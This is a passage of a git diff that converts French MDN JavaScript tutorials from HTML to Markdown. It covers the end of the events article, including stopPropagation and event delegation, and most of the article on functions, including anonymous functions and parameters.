id="Régler_le_problème_avec_stopPropagation()">Régler le problème avec stopPropagation()</h4> +#### Régler le problème avec stopPropagation() -<p>C'est un comportement ennuyeux, mais il y a un moyen de l'éviter ! L'objet événement standard dispose d'une fonction appelée <code><a href="/fr/docs/Web/API/Event/stopPropagation">stopPropagation()</a></code>, qui, lorsqu'il est invoqué sur l'objet événement d'un gestionnaire, fait en sorte que le gestionnaire soit exécuté, mais l'événement ne remonte pas plus haut dans la chaîne, et donc plus aucun autre gestionnaire ne sera exécuté.<br> - <br> - Nous pouvons donc résoudre notre problème actuel en changeant la fonction du deuxième gestionnaire dans le bloc de code précédent comme ceci:</p> +C'est un comportement ennuyeux, mais il y a un moyen de l'éviter ! L'objet événement standard dispose d'une fonction appelée [`stopPropagation()`](/fr/docs/Web/API/Event/stopPropagation), qui, lorsqu'il est invoqué sur l'objet événement d'un gestionnaire, fait en sorte que le gestionnaire soit exécuté, mais l'événement ne remonte pas plus haut dans la chaîne, et donc plus aucun autre gestionnaire ne sera exécuté. -<pre class="brush: js">video.onclick = function(e) { +Nous pouvons donc résoudre notre problème actuel en changeant la fonction du deuxième gestionnaire dans le bloc de code précédent comme ceci: + +```js +video.onclick = function(e) { e.stopPropagation(); video.play(); -};</pre> +}; +``` -<p>Vous pouvez faire une copie locale du <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">code source show-video-box.html </a> et le modifier vous-même ou regarder le résultat ici : <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html">show-video-box-fixed.html</a> (ou voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box-fixed.html">code source</a>).</p> +Vous pouvez faire une copie locale du [code source show-video-box.html ](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html)et le modifier vous-même ou regarder le résultat ici : [show-video-box-fixed.html](http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html) (ou voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box-fixed.html)). -<div class="note"> -<p><strong>Note :</strong> Pourquoi s'embêter à capturer et bouillonner ? Eh bien, aux heures sombres où les navigateurs étaien peu compatibles entre eux qu'ils ne le sont aujourd'hui, Netscape n'utilisait que la capture d'événements, et Internet Explorer n'utilisait que les bouillonnements. Quand le W3C a décidé d'essayer de normaliser le comportement et de parvenir à un consensus, ils en sont arrivés à ce système qui inclue les deux, qui est celui implémenté dans les navigateurs modernes.</p> -</div> +> **Note :** Pourquoi s'embêter à capturer et bouillonner ? Eh bien, aux heures sombres où les navigateurs étaien peu compatibles entre eux qu'ils ne le sont aujourd'hui, Netscape n'utilisait que la capture d'événements, et Internet Explorer n'utilisait que les bouillonnements. Quand le W3C a décidé d'essayer de normaliser le comportement et de parvenir à un consensus, ils en sont arrivés à ce système qui inclue les deux, qui est celui implémenté dans les navigateurs modernes. -<div class="note"> -<p><strong>Note :</strong> Comme mentionné ci-dessus, par défaut, tous les gestionnaires d'événements sont enregistrés dans la phase de bouillonnement, ce qui est plus logique la plupart du temps. Si vous voulez vraiment enregistrer un événement dans la phase de capture, vous pouvez le faire en enregistrant votre gestionnaire avec <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>, et en positionnant la troisième propriété, qui est optionnelle, sur<code>true</code>.</p> -</div> +> **Note :** Comme mentionné ci-dessus, par défaut, tous les gestionnaires d'événements sont enregistrés dans la phase de bouillonnement, ce qui est plus logique la plupart du temps. Si vous voulez vraiment enregistrer un événement dans la phase de capture, vous pouvez le faire en enregistrant votre gestionnaire avec [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener), et en positionnant la troisième propriété, qui est optionnelle, sur`true`. + +#### Délégation d'événement + +Le bouillonnement nous permet également de tirer parti de la délégation d'événements - ce concept repose sur le fait que si vous voulez exécuter du code lorsque vous cliquez sur l'un des nombreux éléments enfants, vous pouvez définir l'écouteur d'événement sur leur parent et ainsi leur répercuter les événement, plutôt que de devoir définir l'écouteur d'événement sur chaque enfant individuellement. -<h4 id="Délégation_d'événement">Délégation d'événement</h4> +Un bon exemple est une série d'éléments de liste - si vous voulez que chacun d'eux fasse apparaître un message lorsque vous cliquez dessus, vous pouvez définir l'écouteur d'événement `click` sur la balise parente `<ul>`, et il apparaîtra sur les éléments de la liste. -<p>Le bouillonnement nous permet également de tirer parti de la délégation d'événements - ce concept repose sur le fait que si vous voulez exécuter du code lorsque vous cliquez sur l'un des nombreux éléments enfants, vous pouvez définir l'écouteur d'événement sur leur parent et ainsi leur répercuter les événement, plutôt que de devoir définir l'écouteur d'événement sur chaque enfant individuellement.<br> - <br> - Un bon exemple est une série d'éléments de liste - si vous voulez que chacun d'eux fasse apparaître un message lorsque vous cliquez dessus, vous pouvez définir l'écouteur d'événement <code>click</code> sur la balise parente <code><ul></code>, et il apparaîtra sur les éléments de la liste.</p> +Ce concept est expliqué plus loin sur le blog de David Walsh, avec de multiples exemples - voir [How JavaScript Event Delegation Works](https://davidwalsh.name/event-delegate). -<p>Ce concept est expliqué plus loin sur le blog de David Walsh, avec de multiples exemples - voir <a href="https://davidwalsh.name/event-delegate">How JavaScript Event Delegation Works</a>.</p> +## Conclusion -<h2 id="Conclusion">Conclusion</h2> +Vous devriez maintenant maîtriser tout ce que vous devez savoir sur les événements Web à ce stade de votre apprentissage. Comme mentionné ci-dessus, les événements ne font pas vraiment partie du langage du noyau JavaScript principal - ils sont définis dans les API Web du navigateur. -<p>Vous devriez maintenant maîtriser tout ce que vous devez savoir sur les événements Web à ce stade de votre apprentissage. Comme mentionné ci-dessus, les événements ne font pas vraiment partie du langage du noyau JavaScript principal - ils sont définis dans les API Web du navigateur.<br> - <br> - En outre, il est important de comprendre que les différents contextes dans lesquels JavaScript est utilisé tendent à avoir des modèles d'événements différents - des API Web à d'autres domaines tels que WebExtensions du navigateur et Node.js (JavaScript côté serveur). Nous ne nous attendons pas à ce que vous compreniez tous ces domaines maintenant, mais cela aide certainement à comprendre les bases des événements à mesure que vous avancez dans l'apprentissage du développement Web.</p> +En outre, il est important de comprendre que les différents contextes dans lesquels JavaScript est utilisé tendent à avoir des modèles d'événements différents - des API Web à d'autres domaines tels que WebExtensions du navigateur et Node.js (JavaScript côté serveur). Nous ne nous attendons pas à ce que vous compreniez tous ces domaines maintenant, mais cela aide certainement à comprendre les bases des événements à mesure que vous avancez dans l'apprentissage du développement Web. -<p>S'il y a quelque chose que vous n'avez pas compris, n'hésitez pas à relire l'article, ou <a href="/fr/Learn#Contact_us">contactez-nous </a>pour demander de l'aide.</p> +S'il y a quelque chose que vous n'avez pas compris, n'hésitez pas à relire l'article, ou [contactez-nous ](/fr/Learn#Contact_us)pour demander de l'aide. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="http://www.quirksmode.org/js/events_order.html">Event order</a> (discussion sur la capture et le bouillonnement) — une pièce superbement détaillée de Peter-Paul Koch.</li> - <li><a href="http://www.quirksmode.org/js/events_access.html">Event accessing</a> (discussion sur l'objet événement) — une autre pièce superbement détaillée de Peter-Paul Koch.</li> - <li><a href="/fr/docs/Web/Events">Event reference</a></li> -</ul> +- [Event order](http://www.quirksmode.org/js/events_order.html) (discussion sur la capture et le bouillonnement) — une pièce superbement détaillée de Peter-Paul Koch. +- [Event accessing](http://www.quirksmode.org/js/events_access.html) (discussion sur l'objet événement) — une autre pièce superbement détaillée de Peter-Paul Koch. +- [Event reference](/fr/docs/Web/Events) -<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}} -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> -<ul> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/conditionals">Prendre des décisions dans le code - les conditions</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Looping_code">Les boucles dans le code</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Fonctions">les fonctions - des blocs de code réutilisables</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function">Construisez votre propre fonction</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Return_values">les valeurs de retour des fonction</a><a href="/fr/docs/Learn/JavaScript/Building_blocks/Return_values">s</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements">Introduction aux événement</a><a href="/fr/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements">s</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Image_gallery">Galerie d'images</a></li> -</ul> +## Dans ce module -<p> </p> +- [Prendre des décisions dans le code - les conditions](/fr/Apprendre/JavaScript/Building_blocks/conditionals) +- [Les boucles dans le code](/fr/Apprendre/JavaScript/Building_blocks/Looping_code) +- [les fonctions - des blocs de code réutilisables](/fr/Apprendre/JavaScript/Building_blocks/Fonctions) +- [Construisez votre propre fonction](/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function) +- [les valeurs de retour des fonction](/fr/Apprendre/JavaScript/Building_blocks/Return_values)[s](/fr/docs/Learn/JavaScript/Building_blocks/Return_values) +- [Introduction aux événement](/fr/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements)[s](/fr/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements) +- [Galerie d'images](/fr/docs/Apprendre/JavaScript/Building_blocks/Image_gallery) diff --git a/files/fr/learn/javascript/building_blocks/functions/index.md b/files/fr/learn/javascript/building_blocks/functions/index.md index eb804d4dcf..afd792fac3 100644 --- a/files/fr/learn/javascript/building_blocks/functions/index.md +++ b/files/fr/learn/javascript/building_blocks/functions/index.md @@ -4,324 +4,387 @@ slug: Learn/JavaScript/Building_blocks/Functions translation_of: Learn/JavaScript/Building_blocks/Functions original_slug: Apprendre/JavaScript/Building_blocks/Fonctions --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</div> - -<p>Les <strong>fonctions</strong> sont un autre concept essentiel de la programmation, qui permettent de stocker dans un bloc défini une partie de code qui effectue une seule tâche afin de l'appeler plus tard lorsque nous en avons besoin en utilisant une seule commande courte — au lieu de ré-écrire l'intégralité de ce code à chaque fois. Dans cet article nous explorons les concepts fondamentaux inhérents aux fonctions tels que la syntaxe de base, comment les définir et les invoquer, leur portée et leurs paramètres.</p> +Les **fonctions** sont un autre concept essentiel de la programmation, qui permettent de stocker dans un bloc défini une partie de code qui effectue une seule tâche afin de l'appeler plus tard lorsque nous en avons besoin en utilisant une seule commande courte — au lieu de ré-écrire l'intégralité de ce code à chaque fois. Dans cet article nous explorons les concepts fondamentaux inhérents aux fonctions tels que la syntaxe de base, comment les définir et les invoquer, leur portée et leurs paramètres. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prerequis:</th> - <td>Culture informatique basique, compréhension basique du HTML et du CSS, <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas en JavaScript...</a></td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Comprendre les concepts fondamentaux des fonctions JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prerequis:</th> + <td> + Culture informatique basique, compréhension basique du HTML et du CSS, + <a href="/fr/docs/Learn/JavaScript/First_steps" + >Premiers pas en JavaScript...</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td>Comprendre les concepts fondamentaux des fonctions JavaScript.</td> + </tr> + </tbody> </table> -<h2 id="Où_trouve-ton_des_fonctions">Où trouve-t'on des fonctions ?</h2> +## Où trouve-t'on des fonctions ? -<p>En JavaScript, vous trouverez des fonctions partout. En fait, nous avons utilisé des fonctions depuis le début du cours ; nous n'en avons simplement pas beaucoup parlé. Toutefois, il est maintenant temps de parler des fonctions de manière explicite et d'explorer réellement leur syntaxe.</p> +En JavaScript, vous trouverez des fonctions partout. En fait, nous avons utilisé des fonctions depuis le début du cours ; nous n'en avons simplement pas beaucoup parlé. Toutefois, il est maintenant temps de parler des fonctions de manière explicite et d'explorer réellement leur syntaxe. -<p>Presque à chaque fois que vous utilisez une structure de JavaScript qui utilise une paire de parenthèses — <code>()</code> — et que vous n'utilisez <strong>pas</strong> une structure usuelle et intégrée du langage telle que les boucles <a href="/fr/Learn/JavaScript/Building_blocks/Looping_code#The_standard_for_loop">for</a>, <a href="/fr/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while">while </a>ou<a href="/fr/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while"> do...while </a>, ou une déclaration <a href="/fr/Learn/JavaScript/Building_blocks/conditionals#if_..._else_statements">if...else </a>, vous utilisez une fonction.</p> +Presque à chaque fois que vous utilisez une structure de JavaScript qui utilise une paire de parenthèses — `()` — et que vous n'utilisez **pas** une structure usuelle et intégrée du langage telle que les boucles [for](/fr/Learn/JavaScript/Building_blocks/Looping_code#The_standard_for_loop), [while ](/fr/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while)ou[ do...while ](/fr/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while), ou une déclaration [if...else ](/fr/Learn/JavaScript/Building_blocks/conditionals#if_..._else_statements), vous utilisez une fonction. -<h2 id="Les_fonctions_intégrées_du_navigateur">Les fonctions intégrées du navigateur</h2> +## Les fonctions intégrées du navigateur -<p>Nous avons beaucoup utilisé les fonctions intégrées du navigateur dans ce cours. Comme par exemple à chaque fois que nous avons manipulé une chaîne de caractères :</p> +Nous avons beaucoup utilisé les fonctions intégrées du navigateur dans ce cours. Comme par exemple à chaque fois que nous avons manipulé une chaîne de caractères : -<pre class="brush: js">var myText = 'I am a string'; +```js +var myText = 'I am a string'; var newString = myText.replace('string', 'sausage'); console.log(newString); // La fonction replace () sélectionne une chaîne, // remplace une sous-chaîne par une autre, et renvoie -// la nouvelle chaîne avec les modifications effectuées.</pre> +// la nouvelle chaîne avec les modifications effectuées. +``` -<p>Ou à chaque fois que nous avons manipulé un tableau :</p> +Ou à chaque fois que nous avons manipulé un tableau : -<pre class="brush: js">var myArray = ['I', 'love', 'chocolate', 'frogs']; +```js +var myArray = ['I', 'love', 'chocolate', 'frogs']; var madeAString = myArray.join(' '); console.log(madeAString); // La fonction join() sélectionne un tableau, rassemble // tous les éléments du tableau dans une chaîne, -// et renvoie cette nouvelle chaîne.</pre> +// et renvoie cette nouvelle chaîne. +``` -<p>Ou à chaque fois que nous avons généré un nombre aléatoire :</p> +Ou à chaque fois que nous avons généré un nombre aléatoire : -<pre class="brush: js">var myNumber = Math.random(); +```js +var myNumber = Math.random(); // la fonction random() génère un nombre aléatoire // entre 0 et 1, et renvoie -// ce nombre</pre> +// ce nombre +``` -<p>... nous avons utilisé une fonction !</p> +... nous avons utilisé une fonction ! -<div class="note"> -<p><strong>Note :</strong> N'hésitez pas à copier ces lignes dans la console JavaScript de votre navigateur afin de vous familiariser à nouveau avec leur fonctionnalité si vous en ressentez le besoin.</p> -</div> +> **Note :** N'hésitez pas à copier ces lignes dans la console JavaScript de votre navigateur afin de vous familiariser à nouveau avec leur fonctionnalité si vous en ressentez le besoin. -<p>Le langage Javascript a de nombreuses fonctions intégrées pour vous permettre de faire des choses utiles sans devoir écrire tout le code vous-même. En fait, certains codes que vous appelez quand<strong> invoquez</strong> (un mot sophistiqué pour dire lancer ou exécuter) une fonction intégrée du navigateur ne pourraient pas être écrits en JavaScript — la plupart de ces fonctions appellent des parties de code interne du navigateur qui est très majoritairement écrit en langages de bas niveau comme le C++, et non pas en langage web comme JavaScript.</p> +Le langage Javascript a de nombreuses fonctions intégrées pour vous permettre de faire des choses utiles sans devoir écrire tout le code vous-même. En fait, certains codes que vous appelez quand **invoquez** (un mot sophistiqué pour dire lancer ou exécuter) une fonction intégrée du navigateur ne pourraient pas être écrits en JavaScript — la plupart de ces fonctions appellent des parties de code interne du navigateur qui est très majoritairement écrit en langages de bas niveau comme le C++, et non pas en langage web comme JavaScript. -<p>Gardez à l'esprit que certaines fonctions intégrées du navigateur ne font pas partie du noyau du langage JavaScript — certaines font partie des APIs du navigateur qui sont construites à partir du langage par défaut pour apporter encore plus de fonctionnalités ( consultez cette <a href="/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript">section antérieure de notre cours</a> pour une description plus détaillée ). Nous aborderons l'utilisation des APIs du navigateur plus en détail dans un module ultérieur.</p> +Gardez à l'esprit que certaines fonctions intégrées du navigateur ne font pas partie du noyau du langage JavaScript — certaines font partie des APIs du navigateur qui sont construites à partir du langage par défaut pour apporter encore plus de fonctionnalités ( consultez cette [section antérieure de notre cours](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) pour une description plus détaillée ). Nous aborderons l'utilisation des APIs du navigateur plus en détail dans un module ultérieur. -<h2 id="Fonctions_versus_méthodes">Fonctions versus méthodes</h2> +## Fonctions versus méthodes -<p>Une chose que nous devons éclaircir avant d'aller plus loin — d'un point de vue technique les fonctions intégrées du navigateur ne sont pas des fonctions mais des <strong>méthodes</strong>. Cela peut vous effrayer ou vous désorienter mais n'ayez crainte — les mots fonction et méthode sont largement interchangeables, du moins pour ce qui nous concerne, à ce niveau de votre apprentissage.</p> +Une chose que nous devons éclaircir avant d'aller plus loin — d'un point de vue technique les fonctions intégrées du navigateur ne sont pas des fonctions mais des **méthodes**. Cela peut vous effrayer ou vous désorienter mais n'ayez crainte — les mots fonction et méthode sont largement interchangeables, du moins pour ce qui nous concerne, à ce niveau de votre apprentissage. -<p>La distinction réside dans le fait que les méthodes sont des fonctions définies à l'intérieur d'objets. Les fonctions intégrées au navigateur (méthodes) et les variables (que l'on appelle <strong>propriétés</strong>) sont stockées dans des objets structurés, pour rendre le code plus efficace et facile à manier.</p> +La distinction réside dans le fait que les méthodes sont des fonctions définies à l'intérieur d'objets. Les fonctions intégrées au navigateur (méthodes) et les variables (que l'on appelle **propriétés**) sont stockées dans des objets structurés, pour rendre le code plus efficace et facile à manier. -<p>Vous n'aurez pas besoin d'apprendre les rouages des objets structurés du JavaScript pour le moment — vous pouvez attendre un module ultérieur qui vous en apprendra tous les rouages internes et comment les créer par vous même. Pour le moment, nous souhaitons simplement éviter toute confusion possible entre méthode et fonction — car vous êtes susceptibles de rencontrer les deux termes si vous en recherchez les ressources disponibles sur le Web. </p> +Vous n'aurez pas besoin d'apprendre les rouages des objets structurés du JavaScript pour le moment — vous pouvez attendre un module ultérieur qui vous en apprendra tous les rouages internes et comment les créer par vous même. Pour le moment, nous souhaitons simplement éviter toute confusion possible entre méthode et fonction — car vous êtes susceptibles de rencontrer les deux termes si vous en recherchez les ressources disponibles sur le Web. -<h2 id="Fonctions_personnalisées">Fonctions personnalisées</h2> +## Fonctions personnalisées -<p>Nous avons également rencontré beaucoup de fonctions personnalisées dans le cours jusqu'ici — fonctions définies dans votre code, et non pas dans le navigateur. À chaque fois que vous voyez un nom personnalisé suivi de parenthèses, vous utilisez une fonction personnalisée. Dans notre exemple <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html </a>tiré de l'article <a href="/fr/Apprendre/JavaScript/Building_blocks/Looping_code">les boucles dans le code </a>(voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">code source </a>complet), nous avons inclus une fonction personnalisée <code>draw()</code>qui ressemblait à ça :</p> +Nous avons également rencontré beaucoup de fonctions personnalisées dans le cours jusqu'ici — fonctions définies dans votre code, et non pas dans le navigateur. À chaque fois que vous voyez un nom personnalisé suivi de parenthèses, vous utilisez une fonction personnalisée. Dans notre exemple [random-canvas-circles.html ](http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html)tiré de l'article [les boucles dans le code ](/fr/Apprendre/JavaScript/Building_blocks/Looping_code)(voir aussi le [code source ](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html)complet), nous avons inclus une fonction personnalisée `draw()`qui ressemblait à ça : -<pre class="brush: js">function draw() { +```js +function draw() { ctx.clearRect(0,0,WIDTH,HEIGHT); - for (var i = 0; i < 100; i++) { + for (var i = 0; i < 100; i++) { ctx.beginPath(); ctx.fillStyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); ctx.fill(); } -}</pre> +} +``` -<p>Cette fonction dessine 100 cercles aléatoires dans un élément {{htmlelement("canvas")}}. À chaque fois que nous voulons faire cela, il suffit d'invoquer la fonction comme suit :</p> +Cette fonction dessine 100 cercles aléatoires dans un élément {{htmlelement("canvas")}}. À chaque fois que nous voulons faire cela, il suffit d'invoquer la fonction comme suit : -<pre class="brush: js">draw();</pre> +```js +draw(); +``` -<p>au lieu de devoir ré-écrire tout le code à chaque fois que nous voulons la répéter. De plus, les fonctions peuvent contenir tous les codes qu'il vous plaira — vous pouvez même appeler d'autres fonctions à l'intérieur d'une fonction. Par exemple, la fonction ci-dessus appelle la fonction <code>random()</code> trois fois, comme définie par le code suivant :</p> +au lieu de devoir ré-écrire tout le code à chaque fois que nous voulons la répéter. De plus, les fonctions peuvent contenir tous les codes qu'il vous plaira — vous pouvez même appeler d'autres fonctions à l'intérieur d'une fonction. Par exemple, la fonction ci-dessus appelle la fonction `random()` trois fois, comme définie par le code suivant : -<pre class="brush: js">function random(number) { +```js +function random(number) { return Math.floor(Math.random()*number); -}</pre> +} +``` -<p>Nous avions besoin de cette fonction car la fonction intégrée du navigateur <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> génère uniquement un nombre décimal aléatoire compris entre 0 et 1 alors que nous voulions un nombre entier compris entre 0 et un nombre défini.</p> +Nous avions besoin de cette fonction car la fonction intégrée du navigateur [Math.random()](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random) génère uniquement un nombre décimal aléatoire compris entre 0 et 1 alors que nous voulions un nombre entier compris entre 0 et un nombre défini. -<h2 id="Invoquer_des_fonctions">Invoquer des fonctions</h2> +## Invoquer des fonctions -<p>Vous êtes probablement au clair avec cela maintenant, mais juste au cas où... pour utiliser une fonction après qu'elle ait été définie, vous devez la lancer - ou l'invoquer. Pour ce faire, vous devez inclure le nom de la fonction quelque part dans le code suivi par des parenthèses.</p> +Vous êtes probablement au clair avec cela maintenant, mais juste au cas où... pour utiliser une fonction après qu'elle ait été définie, vous devez la lancer - ou l'invoquer. Pour ce faire, vous devez inclure le nom de la fonction quelque part dans le code suivi par des parenthèses. -<pre class="brush: js">function myFunction() { +```js +function myFunction() { alert('hello'); } myFunction() -// appelle la fonction une fois</pre> +// appelle la fonction une fois +``` -<h2 id="Fonctions_anonymes">Fonctions anonymes</h2> +## Fonctions anonymes -<p>Vous pouvez rencontrer des fonctions définies et invoquées de manière légèrement différentes. Nous venons juste de créer une fonction comme celle-ci :</p> +Vous pouvez rencontrer des fonctions définies et invoquées de manière légèrement différentes. Nous venons juste de créer une fonction comme celle-ci : -<pre class="brush: js">function myFunction() { +```js +function myFunction() { alert('hello'); -}</pre> +} +``` -<p>Mais vous pouvez également créer une fonction qui n'a pas de nom :</p> +Mais vous pouvez également créer une fonction qui n'a pas de nom : -<pre class="brush: js">function() { +```js +function() { alert('hello'); -}</pre> +} +``` -<p>Ceci est une <strong>fonction anonyme </strong>— elle n'a pas de nom ! De plus, elle ne produira pas d'effet par elle-même. Les fonctions anonymes sont généralement utilisées en association avec un gestionnaire d'évènement, comme dans l'exemple suivant qui lance le code inscrit dans la fonction lorsque le bouton associé est cliqué :</p> +Ceci est une **fonction anonyme** — elle n'a pas de nom ! De plus, elle ne produira pas d'effet par elle-même. Les fonctions anonymes sont généralement utilisées en association avec un gestionnaire d'évènement, comme dans l'exemple suivant qui lance le code inscrit dans la fonction lorsque le bouton associé est cliqué : -<pre class="brush: js">var myButton = document.querySelector('button'); +```js +var myButton = document.querySelector('button'); myButton.onclick = function() { alert('hello'); -}</pre> +} +``` -<p>Cet exemple ci-dessus nécessite qu'il y ait un élément HTML {{htmlelement("button")}} disponible sur la page afin qu'il puisse être cliqué. Vous avez déjà rencontré ce type de structure plusieurs fois dans ce cours et vous en apprendrez plus à son sujet lorsque vous en étudierez l'utilisation dans l'article suivant.</p> +Cet exemple ci-dessus nécessite qu'il y ait un élément HTML {{htmlelement("button")}} disponible sur la page afin qu'il puisse être cliqué. Vous avez déjà rencontré ce type de structure plusieurs fois dans ce cours et vous en apprendrez plus à son sujet lorsque vous en étudierez l'utilisation dans l'article suivant. -<p>Vous pouvez également assigner une fonction anonyme en tant que valeur d'une variable, comme par exemple :</p> +Vous pouvez également assigner une fonction anonyme en tant que valeur d'une variable, comme par exemple : -<pre class="brush: js">var myGreeting = function() { +```js +var myGreeting = function() { alert('hello'); -}</pre> +} +``` -<p>Cette fonction peut désormais être invoquée en utilisant :</p> +Cette fonction peut désormais être invoquée en utilisant : -<pre class="brush: js">myGreeting();</pre> +```js +myGreeting(); +``` -<p>Cela a pour effet d'attribuer un nom à la fonction ; vous pouvez également utiliser la fonction anonyme en tant que valeur de variables multiples, comme par exemple :</p> +Cela a pour effet d'attribuer un nom à la fonction ; vous pouvez également utiliser la fonction anonyme en tant que valeur de variables multiples, comme par exemple : -<pre class="brush: js">var anotherGreeting = function() { +```js +var anotherGreeting = function() { alert('hello'); -}</pre> +} +``` -<p>Cette fonction peut désormais être invoquée en utilisant au choix :</p> +Cette fonction peut désormais être invoquée en utilisant au choix : -<pre class="brush: js">myGreeting(); -anotherGreeting();</pre> +```js +myGreeting(); +anotherGreeting(); +``` -<p>Cela peut toutefois générer de la confusion, donc ne le faites pas ! Lorsque l'on crée des fonctions, il vaut mieux se contenter de cette forme :</p> +Cela peut toutefois générer de la confusion, donc ne le faites pas ! Lorsque l'on crée des fonctions, il vaut mieux se contenter de cette forme : -<pre class="brush: js">function myGreeting() { +```js +function myGreeting() { alert('hello'); -}</pre> +} +``` -<p>Vous utiliserez principalement des fonctions anonymes simplement pour lancer une partie de code en réponse à un évènement — comme lorsqu'un bouton est cliqué — en utilisant un gestionnaire d'évènement. Cela devrait ressembler à ça :</p> +Vous utiliserez principalement des fonctions anonymes simplement pour lancer une partie de code en réponse à un évènement — comme lorsqu'un bouton est cliqué — en utilisant un gestionnaire d'évènement. Cela devrait ressembler à ça : -<pre class="brush: js">myButton.onclick = function() { +```js +myButton.onclick = function() { alert('hello'); // Je peux mettre ici autant // de code que je le souhaite -}</pre> +} +``` -<h2 id="Paramètres_des_fonctions">Paramètres des fonctions</h2> +## Paramètres des fonctions -<p>Certaines fonctions nécessitent que l'on définisse des <strong>paramètres</strong> lorsqu'on les appelle — ce sont des valeurs qui doivent êtres inclues dans les parenthèses de la fonction pour que celle-ci fonctionne correctement.</p> +Certaines fonctions nécessitent que l'on définisse des **paramètres** lorsqu'on les appelle — ce sont des valeurs qui doivent êtres inclues dans les parenthèses de la fonction pour que celle-ci fonctionne correctement. -<div class="note"> -<p><strong>Note :</strong> Les paramètres sont parfois appelés arguments, propriétés ou encore attributs.</p> -</div> +> **Note :** Les paramètres sont parfois appelés arguments, propriétés ou encore attributs. -<p>Par exemple, la fonction intégrée du navigateur <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> ne nécessite pas de paramètres. lorsqu'elle est appelée, elle renvoie toujours un nombre aléatoire compris entre 0 et 1 : </p> +Par exemple, la fonction intégrée du navigateur [Math.random()](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random) ne nécessite pas de paramètres. lorsqu'elle est appelée, elle renvoie toujours un nombre aléatoire compris entre 0 et 1 : -<pre class="brush: js">var myNumber = Math.random();</pre> +```js +var myNumber = Math.random(); +``` -<p>La fonction de chaîne intégrée du navigateur <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a> nécessite toutefois deux paramètres — la sous-chaîne qu'elle doit remplacer à l'intérieur de la chaîne, et la sous-chaîne par laquelle elle doit la remplacer :</p> +La fonction de chaîne intégrée du navigateur [replace()](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace) nécessite toutefois deux paramètres — la sous-chaîne qu'elle doit remplacer à l'intérieur de la chaîne, et la sous-chaîne par laquelle elle doit la remplacer : -<pre class="brush: js">var myText = 'I am a string'; -var newString = myText.replace('string', 'sausage');</pre> +```js +var myText = 'I am a string'; +var newString = myText.replace('string', 'sausage'); +``` -<div class="note"> -<p><strong>Note :</strong> Quand vous devez définir plusieurs paramètres, ils doivent être séparés par des virgules.</p> -</div> +> **Note :** Quand vous devez définir plusieurs paramètres, ils doivent être séparés par des virgules. -<p>Il est également à noter que parfois les paramètres sont optionnels — vous n'avez pas à les spécifier. Si vous ne le faites pas, la fonction va généralement adopter un comportement par défaut. Par exemple, la fonction de tableau <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Array/join">join()</a> a des paramètres optionnels :</p> +Il est également à noter que parfois les paramètres sont optionnels — vous n'avez pas à les spécifier. Si vous ne le faites pas, la fonction va généralement adopter un comportement par défaut. Par exemple, la fonction de tableau [join()](/fr/docs/Web/JavaScript/Reference/Global_Objects/Array/join) a des paramètres optionnels : -<pre class="brush: js">var myArray = ['I', 'love', 'chocolate', 'frogs']; +```js +var myArray = ['I', 'love', 'chocolate', 